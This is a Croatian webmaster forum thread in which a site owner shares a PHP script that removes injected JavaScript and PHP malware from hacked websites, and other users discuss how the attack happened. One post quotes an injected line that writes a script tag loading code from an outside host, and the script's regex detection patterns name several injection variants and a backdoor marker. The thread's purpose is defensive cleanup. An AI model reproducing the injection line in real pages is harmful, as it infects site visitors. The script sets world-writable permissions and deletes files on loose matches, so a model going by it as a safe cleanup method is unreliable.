JS injection remover (moja verzija)

Dakle, danas mi je dan baš počeo onako fino…
Dobih od Googla da mi jedan site blokiran, pa me nazvalo par korisnika da su i njihove stranice blokirane (malware na siteu), rekoh da vidim što se zbiva…
Kad ono veselje.
Bez obzira na hosting, i bez obzira na site (bio to “obični” HTML site, wordpress, joomla ili neki petnaesti CMS) uhvatila ih neka epidemija JS injectiona.
Na jednom hostingu tražio sam restore backupa i stvar je bila riješena, ali drugi hostinzi nisu bili tako otvoreni za backup.
A kako imam gomilu siteova, a JS injection zarazio je gotovo sve JS skripte (i poneke PHP) nije mi bilo druge nego ručno uklanjati (ili podizati kompletne siteove nanovo).
Međutim, kako to iziskuje barem mjesec dana posla (obzirom na količinu siteova), odlučio sam sklepati PHP skriptu za uklanjanje te 3 varijante JS injectiona iz code-a i za “zaključavanje” zaraženih i očišćenih datoteka (jer će prilikom svakog idućeg pokušaja vjerojatno te iste datoteke biti zaražene), te zaključavanje svih JS datoteka na siteu.

Code je u prilogu (tko želi neka korisiti na vlastitu odgovornost, meni je poslužio vrlo dobro, bez nuspojava i neželjenih brisanja):

<?php

function find_pattern($filename)
	{
		$openFile=file_get_contents($filename);
		
		// provjeri da li je injection code unutar php datoteke
		
		$pattern="/php\n(\#(.*)#\nerror(.*?)#\n)/s";	
		$f=preg_match($pattern,$openFile,$aMatch);
		if (strpos($aMatch[0],"error_reporting")>1)
			{
				// ako je, ukloni ga iz datoteke, i ponovno zapisi tu datoteku
				$newfile=str_replace($aMatch[0],"php ",$openFile);
				// otkljucaj file
				chmod ($filename,0777);
				$fp=fopen($filename,'w');
				fwrite($fp,$newfile,strlen($newfile));
				fclose($fp);
				// zakljucaj file
				chmod ($filename,0444);
				
				echo '<li style="color:#0f0;font-weight:700;">ZAMIJENJENO - '.$filename.'</li>';
			}
			
		
		// provjeri JS injection (pattern 2)
		$openFile=file_get_contents($filename);
		$pattern="/(\*\/\nfunction getCookie(.*?)\n\n\/[*\/\s\/])/s";
		$f=preg_match($pattern,$openFile,$aMatch);
		if (strpos($aMatch[0],"getCookie")>1)
			{
				// ako je, ukloni ga iz datoteke, i ponovno zapisi tu datoteku
				$newfile=str_replace($aMatch[0],"",$openFile);
				// otkljucaj file
				chmod ($filename,0777);
				$fp=fopen($filename,'w');
				fwrite($fp,$newfile,strlen($newfile));
				fclose($fp);
				// zakljucaj file
				chmod ($filename,0444);
				
				echo '<li style="color:#0f0;font-weight:700;">ZAMIJENJENO - '.$filename.'</li>';
			}

		// provjeri JS injection (pattern 3)	
		$pattern="/(\*\/\ndocument\.write\(\"\<script\ssrc\=(.*?)\*[*\/\s\/])/s";
		$f=preg_match($pattern,$openFile,$aMatch);
		if (strpos($aMatch[0],"document.write")>1)
			{
				// ako je, ukloni ga iz datoteke, i ponovno zapisi tu datoteku
				$newfile=str_replace($aMatch[0],"",$openFile);
				// otkljucaj file
				chmod ($filename,0777);
				$fp=fopen($filename,'w');
				fwrite($fp,$newfile,strlen($newfile));
				fclose($fp);
				// zakljucaj file
				chmod ($filename,0444);
				
				echo '<li style="color:#0f0;font-weight:700;">ZAMIJENJENO - '.$filename.'</li>';
			}

	}

function ListFolder($path)
{

    $dir_handle = @opendir($path) or die("Unable to open $path");
    $dirname = end(explode("/", $path));
    
    echo ("<li>$dirname\n");
    echo "<ul>\n";
    while (false !== ($file = readdir($dir_handle))) 
    {
    $color="#000";
        if($file!="." && $file!="..")
        {
            if (is_dir($path."/".$file))
            {
                ListFolder($path."/".$file);
            }
            else
            {
                
                if (strpos($file,".js")>0 || strpos($file,".php")>0)
                 {
                 	$color="#f00";
                 	find_pattern($path."/".$file);
                 }
                 
                echo "<li style='color:".$color.";'>$file (".$path."/".$file.")</li>";
                
                // ako je JS file zakljucaj ga svakako
                if (strpos($file,".js")>0)
                	{
                		chmod ($path."/".$file,0444);
                		echo "<li style='color:#ff2200;'>".$file." ZAKLJUCAN!</li>";
                	}
                $color="#000";
            }
        }
    }
    echo "</ul>\n";
    echo "</li>\n";
    closedir($dir_handle);
}

ListFolder("./");
?>

U funkciji “find_pattern” mogu se dodati i drugi patterni (regex) za prepoznavanje malware-a unutar coda sitea.

Način korištenja:
Spremiti gornji code u php file (npr. “ciscenje.php”) i podignuti ga u root site-a. Pozvati ga (“www.mojsite.com/ciscenje.php”) i code ostalo obavlja sam. Inficirane datoteke oznaci zelenom bojom (na ekranu, na listi). Datoteke koje provjerava oznacuje crvenom bojom. Kada pronađe inficiranu datoteku (prema patternu), zamijeni taj dio codea unutar datoteke, i preko nje snimi “očišćenu” verziju, te zaključa datoteku (kako novi JS injection ne bi mogao ponovno upisivati u nju).

Eto, čisto da pomognem nekome tko je možda u gabuli kao što sam ja bio, pa da ne mozga previše :slight_smile:

6 Likeova

Ne kužim…gdje je bila slaba točka i kako su stranice točno napadnute?
Možda bi više pomglo ako se pažnja posveti tom djelu…pa se držati one “bolje spriječiti nego lječiti”

JS injection. Proguglaj malo.
Najslabija točka je nefiltriranje url upita te post i get metoda, te neosiguravanje “zabranjenih znakova” u url-u (poput znakova “<” i “>”)
Da, bez obzira koliko paziš i obraćaš pažnju na to, uvijek postoji šansa da se to desi (uvijek se nađe nekakva rupa). Zaraženi su bili i Wordpress i Joomla siteovi, isto kao i siteovi koji nisu bazirani na ikakvom CMS-u.
Stvar je ista kao i sa virusima, ma koliko se trudiš da ih ne pokupiš, uvijek ti se može desiti da ih - pokupiš.
I kao što rekoh, bez filozofiranja “što je trebalo, tko je kriv i zašto to nije napravljeno prije pa se to ne bi desilo”, ponudio sam rješenje koje je meni pomoglo u čišćenju (i osiguravanju datoteka kao što sam napisao) kako bih nekome pomogao.

Meni to više izgleda kao da ti je netko provalio u kućni komp, tu pronašao podatke za pristup na tvoje sajtove i na njih postavio malware.

Naravno ne tvrdim da je tako…

“…you can also inject javascript into dynamic pages to cause the page to render differently, do something else, or some other malicious thing. Think of a XSS attack.” izvor http://www.testingsecurity.com/how-to-test/injection-vulnerabilities/Javascript-Injection

“JavaScript injection techniques used to exploit web site vulnerabilities” izvor http://www.codeproject.com/Articles/134024/HTML-and-JavaScript-Injection
itd…

U kućni komp teško da će mi itko uć :slight_smile:

Pročitao sve…i ne nalazim si odgovor :confused:

Točno za pojam JS injection još nisam ni čuo…ali jesam za XSS koji ovdje spominju u skloput toga. Upravo je XSS bio način kako su me jednom shebali. xd:

Znači ukratko, u komentare koje sam ispisivao na stranici, ugnjezdili su tagove koji pokreću javascript, i unutar tih tagova redirektali na neku drugu stranicu…

Jel ti možeš tako ukratko reći što se tebi desilo, jer je skroz čudno da su ti istovremeno napadnute različite stranice na različitim hostinzima.

Mislim, prema ovom što spominješ u uvodnom postu, ispada da je tebi netko pisao po .php fileovima?? Ne kontam, od kuda nekom pristup, tj. na koji način je uspio mijenjat .php fileove??
Ak sam to dobro skužio…ja bi to okarakterizirao kao različti napad od XSS-a, ij JS injectiona. Napad je onda hard core PHP injection xd.

Prvo sam dobio od googla obavijest na mail:
“We recently discovered that some of your pages can cause users to be infected with malicious software. We have begun showing a warning page to users who visit these pages by clicking a search result on Google.com.”

Odem na stranicu a ona označena kao zaražena malwareom i da je nesigurno posjećivati je. Nekakvom logikom otvorim index.php i sve datoteke koje su uključene u prikazivanje te stranice (uključujući i .JS i .CSS datoteke).
Gledam ih i otkrijem u .js datoteci (prvoj) code koji sliči otprilike ovako:

/*9345b2*/
document.write("<script src='http://www.nekicudnisite.com/nekaskripta.js'></script>");
/*/9345b2*/

i tako gotovo u svim .JS datotekama na tom jednom site-u.
Također, nešto niže u index.php datoteci (također unutar head taga) nađoh skriptu koja je također slično označena:

<?php
#623da#
error_reporting(0);ini_set("error_reporting",0);
{i hrpa code-a}
#623da#
?>

Počnem ih sređivat i zvoni telefon od prvog korisnika i veli mi i da on ima problem…odem na njegov site, pogledam, a tamo sasvim treći code, ali na sličan način označeno (sa ovim hash tagovima i brojkama i slovima unutar tagova).
E onda sam pogledao druge siteove i vidim na svima to…

Kako je do toga došlo i zašto, pojma nemam. Velim, to se desilo i na joomla siteovima i na wordpressu i na običnima (bez CMS-a) i na onima koji su rađeni na mojem CMS-u, baš svugdje. Kao da je bio nekakav “organizirani napad”…

E hvala na detaljnijem objašnjenju…tako sam i skontao da ti je neko mijenjao (tj. dopisivao) file-ove.

No, koliko sam upućen, XSS drugim metodama ubaci JS code na stranicu. Uglavnom metodama gdje su trivijalni propusti napravljeni. Tvoj slučaj meni djeluje dakako ozbiljniji …ali dodatno zbunjuje stvar da su zaražene stranice koje si ti pravio bez obzira što su na različitim serverima. To upućuje na to da se virus nije ugnjezdio putem propusta servera. Inače bi to bila prilično velika slučajnost…ili bi problem morao biti daleko globalniji.

Ne drži mi vodu niti da postoji neki napad kroz web…koji opće može mjenjati skripte, jer bi vrijedila ista logika. Problem bi bio opet globalniji ili bi bila prevelika slučajnost da su napadnute baš sve tvoje stranice.

Meni tako sumnja ostaje na tome da si imao neki virus na računalu…koji se uploadao svaki put na server kad si uploadao skripte. A on je čekao svoje vrijeme da se trigira i da ti napravi dar mar koji ti je napravio…i vjerovatno se tako pokušao proširiti dalje…
Ako sam upravu, virus je i dalje živ…a ti si obrisao samo njegovo djelo …i on će se kasnije opet aktivirati.
Naravno, ja nemam iskustva kakav bi to virus mogao biti…ali metodom eliminacije ne vidim drugog načina da se tako što desi. Kao što je netko gore rekao:

"Meni to više izgleda kao da ti je netko provalio u kućni komp, "

Kako ja vidim stvari, scenario bi prije bio da su skenirali IP adrese, pa su i moje “došle na red” (jer su IP adrese stranica na 3 moja servera i ovih desetak na drugim serverima unutar nekoliko tisuća).
Da je virus, ne bi bilo toliko članaka o JS injectionu i zapisivanju unutar datoteka. Zbog toga preporuča se ili provjeriti URL kod svakog otvaranja stranice, ili u .htaccesu zabraniti “inkriminirajuće” znakove (< i > među ostalim) u URL-u, ili staviti read-only atribute na JS i PHP datoteke.
Virus na serveru nije, to mi je odmah odgovorio prvi host (koji mi je i napravio restore fileova), virus na mom računalu (niti malware) nije jer imam antivirus koji je uvijek up to date i u kojeg imam povjerenja već 10 godina (a bogme i ne posjećujem stranice gdje bih mogao pokupiti iste). Na kraju krajeva, sve moje PHP i JS datoteke su ispravne i nezaražene (na računalu).

Možda bi i sumnja u virus na računalu i postojala usprkost svemu ovome gore, da ne postoji toliko rasprava, članaka, primjera i online servisa za uklanjanje malware-a dobivenih JS injectionima sa stranica.
Zaboravih reći, virus bi nekako trebao i doći na server, a u tom slučaju morao bi doći u root (i nekako se pokrenuti, nekakav switch bi morao postojati). Da je to slučaj, svakako bih ga vidio u rootu stranica, jer bi to morala biti nekakva nepoznata datoteka, nepoznatog imena. A takvih - nema.

Hvala puno za code. Imao sam sličan problem i upotrijebio navedeni code kako bih ga riješio. Ono što mene zanima: nakon “češljanja” imam nekoliko datoteka označenih crvenom bojom ZAKLJUČANO. Da li su te označene sa ZAKLJUČANO bile inficirane?

.js datoteke svakako “zaključava” (stavi ih na 0444).
Ako su označene zeleno, onda su bile zaražene (odnosno pronađen je injection code), uklonjen taj isti code i onda zaključan.

Dakle ako samo piše da je zaključan (a nije zelen), znači da nije bio zaražen ali je preventivno zaključan.

OK, hvala puno i za code i za info.

1 Like

Nema problema. Preuredi code za prikaz rezultata na ekranu kako tebi više odgovara.
Ovdje sam stavio da prikazuje sve datoteke, međutim razmišljam da napravim da mi samo pokazuje zaražene datoteke i na kraju da mi izbaci ukupan broj skeniranih datoteka, te koliko ih je zaključano a koliko zaraženo. Međutim kako ga koristim za osobne potrebe, nema potrebe :slight_smile:
Ako se pokaže potrebe, odnosno da ga koristi više ljudi i ako naletite na neki injection kojeg nije mogao ukloniti, radit ću i update patterna i obvjavit tu na webmajstorima.
za sada vidim da su patterni isti, pa nema problema sa otkrivanjem i uklanjanjem istih.

Dakle, eto nove verzije za uklanjanje malware-a sa stranica.
Datoteka koja to izvodi (ubacuje malware code na vaše stranice) navodno se zove “XERATUTA” (potrazite po webu izvorni code) i na site-u se obično generira pod nekim “čudnim” nazivom tipa “kqrtsjxs.php”, “pdgnwczt.php” i slično (nema pravila, osim što se prepoznaje po nekim čudnovatim imenom). Dodao sam u skriptu i prepoznavanje te skripte, te da je uklanja sa web site.
Skripta u produžetku (kopirajte je i spremite u samostalnu datoteku tipa “skeniranjeweba.php”, podignite u root svog weba i pokrenite pozivom na nju, poput: www.mojweb.com/skeniranjeweba.php)

<?php
    error_reporting (E_ERROR);
    function find_pattern($filename)
    	{
    		$naziv_ove_skripte=$_SERVER["SCRIPT_NAME"];
    		
    		$openFile=file_get_contents($filename);
    		
    		// provjeri da li je injection code unutar php datoteke (pattern 1)
    		$pattern="/php\n(\#(.*)#\nerror(.*?)#\n)/s";	
    		$f=preg_match($pattern,$openFile,$aMatch);
    		if (strpos($aMatch[0],"error_reporting")>1)
    			{
    				// ako je, ukloni ga iz datoteke, i ponovno zapisi tu datoteku
    				$newfile=str_replace($aMatch[0],"php ",$openFile);
    				
    				// otkljucaj file
    				chmod ($filename,0777);
    				$fp=fopen($filename,'w');
    				fwrite($fp,$newfile,strlen($newfile));
    				fclose($fp);
    				
    				// zakljucaj file
    				chmod ($filename,0444);
    				echo '<li style="color:#0f0;font-weight:700;">ZAMIJENJENO - '.$filename.'</li>';
    			}
    			
    		
    		// provjeri JS injection (pattern 2)
    		$openFile=file_get_contents($filename);
    		$pattern="/(\*\/\nfunction getCookie(.*?)\n\n\/[*\/\s\/])/s";
    		$f=preg_match($pattern,$openFile,$aMatch);
    		if (strpos($aMatch[0],"getCookie")>1)
    			{
    				// ako je, ukloni ga iz datoteke, i ponovno zapisi tu datoteku
    				$newfile=str_replace($aMatch[0],"",$openFile);
    				
    				// otkljucaj file
    				chmod ($filename,0777);
    				$fp=fopen($filename,'w');
    				fwrite($fp,$newfile,strlen($newfile));
    				fclose($fp);
    				
    				// zakljucaj file
    				chmod ($filename,0444);
    				echo '<li style="color:#0f0;font-weight:700;">ZAMIJENJENO - '.$filename.'</li>';
    			}
    		
    		// provjeri JS injection (pattern 3)	
    		$pattern="/(\*\/\ndocument\.write\(\"\<script\ssrc\=(.*?)\*[*\/\s\/])/s";
    		$f=preg_match($pattern,$openFile,$aMatch);
    		if (strpos($aMatch[0],"document.write")>1)
    			{
    				// ako je, ukloni ga iz datoteke, i ponovno zapisi tu datoteku
    				$newfile=str_replace($aMatch[0],"",$openFile);
    				
    				// otkljucaj file
    				chmod ($filename,0777);
    				$fp=fopen($filename,'w');
    				fwrite($fp,$newfile,strlen($newfile));
    				fclose($fp);
    				
    				// zakljucaj file
    				chmod ($filename,0444);
    				echo '<li style="color:#0f0;font-weight:700;">ZAMIJENJENO - '.$filename.'</li>';
    			}
    		
    		// provjeri JS injection (pattern 4)	
    		$pattern="/(\ndocument\.write\(\"\<script\stype\=(.*?)\);)/s";
    		$f=preg_match($pattern,$openFile,$aMatch);
    		echo "<br>".$filename.">".htmlspecialchars($aMatch[0])."<br>";
    		if (strpos($aMatch[0],"write")>1)
    			{
    				// ako je, ukloni ga iz datoteke, i ponovno zapisi tu datoteku
    				$newfile=str_replace($aMatch[0],"",$openFile);
    				
    				// otkljucaj file
    				chmod ($filename,0777);
    				$fp=fopen($filename,'w');
    				fwrite($fp,$newfile,strlen($newfile));
    				fclose($fp);
    				
    				// zakljucaj file
    				chmod ($filename,0444);
    				echo '<li style="color:#0f0;font-weight:700;">ZAMIJENJENO - '.$filename.'</li>';
    			}	
    		
    		// provjeri JS injection (pattern 5)
    		$pattern="/(document\.write\(unescape\(\"(.*?)(eval\(lI1\(I11\(OOO\)\)\)\;))/s";
    		$f=preg_match($pattern,$openFile,$aMatch);
    		if (strpos($aMatch[0],"function lI1")>1)
    			{
    				// ako je, ukloni ga iz datoteke, i ponovno zapisi tu datoteku
    				$newfile=str_replace($aMatch[0],"",$openFile);
    				
    				// otkljucaj file
    				chmod ($filename,0777);
    				$fp=fopen($filename,'w');
    				fwrite($fp,$newfile,strlen($newfile));
    				fclose($fp);
    				
    				// zakljucaj file
    				chmod ($filename,0444);
    				echo '<li style="color:#0f0;font-weight:700;">ZAMIJENJENO - '.$filename.'</li>';
    			}
    			
    		// pretrazi postoji li XERATUTA - skripta za uzimanje podataka (pattern 6)
    		// ako postoji, ukloni je sa servera
    		// ako je ne mozes ukloniti sa servera, onesposobi citanje te datoteke
    		
    		if ($filename!="./".$naziv_ove_skripte)
    		{
    			chmod ($filename,0444);
    			$openFile=file_get_contents($filename);
    			$pattern="/x_smart_exec/";
    			$f=preg_match($pattern,$openFile,$aMatch);
    			
    			if (strpos($aMatch[0],"exec")>1)
    				{
    					// ako je, ukloni tu datoteku
    					chmod ($filename,0777);
    					if(unlink($filename))
    					{
    						echo '<li style="color:#0f0;font-weight:700;">************ OBRISANA DATOTEKA KOJA SADRZI CODE XERATUTA ************ - '.$filename.'</li>';
    					}
    					else
    					{
    						chmod ($filename,0000);
    						echo '<li style="color:#0f0;font-weight:700;">************ ONESPOSOBLJENA DATOTEKA KOJA SADRZI CODE XERATUTA ************ - '.$filename.'</li>';
    					}
    				}
    		}
    		else
    		{
    			chmod($filename,0644);
    		}
    	}
    
    function ListFolder($path)
    {
        $dir_handle = @opendir($path) or die("Unable to open $path");
        $dirname = end(explode("/", $path));
        echo ("<li>$dirname\n");
        echo "<ul>\n";
        while (false !== ($file = readdir($dir_handle))) 
        {
        $color="#000";
            if($file!="." && $file!="..")
            {
                if (is_dir($path."/".$file))
                {
                    ListFolder($path."/".$file);
                }
                else
                {
                    
                    if (strpos($file,".js")>0 || strpos($file,".php")>0)
                     {
                     	$color="#f00";
                     	
                     	find_pattern($path."/".$file);
                     }
                     
                    echo "<li style='color:".$color.";'>$file (".$path."/".$file.")</li>";
                    
                    // ako je JS file zakjucaj ga svakako
                    if (strpos($file,".js")>0)
                    	{
                    		chmod ($path."/".$file,0444);
                    		echo "<li style='color:#ff2200;'>".$file." ZAKLJUCAN!</li>";
                    	}
                    $color="#000";
                }
            }
        }
        echo "</ul>\n";
        echo "</li>\n";
        
        closedir($dir_handle);
    }
    
    ListFolder("./");
    ?>